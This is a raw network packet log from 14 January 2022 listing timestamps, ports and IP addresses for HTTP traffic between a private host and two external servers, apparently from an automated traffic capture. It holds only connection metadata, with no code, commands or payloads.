Jan 14, 2022 12:30:17.610817909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.610980988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.611073971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.611164093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.611252069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.611350060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.611499071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.611655951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.611752987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.611841917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.611937046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.612035990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.612220049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.612309933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.612422943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.612503052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.612588882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.612669945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.612767935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.612895966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.613048077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.613133907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.613215923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.613301039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.613392115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.613543034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.613706112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.613795996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.613890886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.613982916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.614078999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.614213943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.614314079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.614428997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.614517927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.614603996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.632070065 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.633451939 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.639064074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.640037060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.640419960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.640564919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.641093016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.641271114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.641520977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.641613007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.642151117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.642472029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.642601013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.642734051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.642889023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.643429995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.643882990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.644479990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.644704103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.644823074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.644917965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.645005941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.645093918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.645653009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.646116972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.646626949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.646806955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.646962881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.647053003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.647146940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.647285938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.647459030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.647547007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.647639036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.647727966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.647831917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.647967100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.648102999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.648205996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.648293018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.648390055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.648602009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.648700953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.648791075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.648878098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.649015903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.649168968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.649274111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.649374962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.649461985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.649614096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.649704933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.649801016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.650130033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.650310040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.650932074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.651909113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.652378082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.652581930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.653258085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.653439045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.653583050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.653748989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.654227972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.654342890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.654455900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.654556036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.654726982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.654923916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.655025959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.655118942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.655217886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.656282902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.656512022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.656620026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.656711102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.656815052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.657016993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.657113075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.657200098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.657337904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.657457113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.657608986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.657696962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.657790899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.657946110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.658044100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.658184052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.658279896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.658376932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.658477068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.658624887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.658720970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.658807039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.658909082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.659049988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.659209013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.659359932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.659452915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.659549952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.659693956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.659823895 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.659848928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.659982920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.660115004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.660238028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.660444021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.660531998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.666623116 CET	80	49924	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.666755915 CET	49924	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.676960945 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:17.676980019 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:17.676995993 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:17.677011967 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:17.677042961 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:17.677067995 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:17.677315950 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:17.677333117 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:17.677349091 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:17.677361965 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:17.677376032 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:17.677411079 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:17.696134090 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.704423904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.704606056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.704705954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.704797983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.704890013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.704976082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.705060005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.705152035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.715883970 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.722040892 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.728564024 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.748203993 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.782017946 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.979568958 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.005929947 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.060693979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.060879946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.060976028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.061068058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.061156034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.061245918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.061333895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.061470032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.061558008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.061645985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.061754942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.061891079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.061978102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.062069893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.062155962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.062244892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.062331915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.062431097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.062519073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.062604904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.062694073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.062783003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.062870026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.062959909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.063045979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.063137054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.063222885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.063309908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.063415051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.063508034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.063592911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.063683033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.063771009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.063857079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.063949108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.064045906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.064125061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.064210892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.064291954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.064377069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.064481020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.064567089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.064646006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.064726114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.064815998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.064898968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.064980984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.065062046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.065140009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.065229893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.065309048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.065566063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.065730095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.065876007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.065964937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.066060066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.066148996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.066319942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.066528082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.066627026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.066714048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.066804886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.066893101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.066982031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.067071915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.067157030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.067249060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.067337990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.067449093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.067552090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.067651033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.067745924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.067831039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.067922115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.068011045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.068098068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.068188906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.068279028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.068362951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.068650007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.068766117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.068860054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.068963051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.069050074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.069150925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.069237947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.069338083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.069713116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.069823980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.069916964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.070018053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.070106030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.070208073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.070298910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.070400000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.070489883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.218275070 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218317032 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218342066 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218369961 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218388081 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218415022 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218444109 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218470097 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218498945 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218527079 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218553066 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218580961 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218606949 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218632936 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218660116 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218686104 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218717098 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218745947 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218775034 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218803883 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.218873024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.223371983 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.243400097 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.243453979 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.243496895 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.243535995 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.243576050 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.243582964 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.243616104 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.243653059 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.243657112 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.243697882 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.243714094 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.243736982 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.243788004 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.243809938 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.243860006 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.275882006 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.275937080 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.275975943 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.276015997 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.276038885 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.276112080 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.277390957 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.277431965 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.277472019 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.277509928 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.277513027 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.277906895 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.281977892 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.282020092 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.282058001 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.282095909 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.282130003 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.282655954 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.282695055 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.282700062 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.282751083 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.282814980 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.282855034 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.282912970 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.284358978 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.284400940 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.284463882 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.284529924 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.284570932 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.284624100 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.302175045 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.302229881 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.302268028 CET	80	49930	185.163.204.24	192.168.2.4
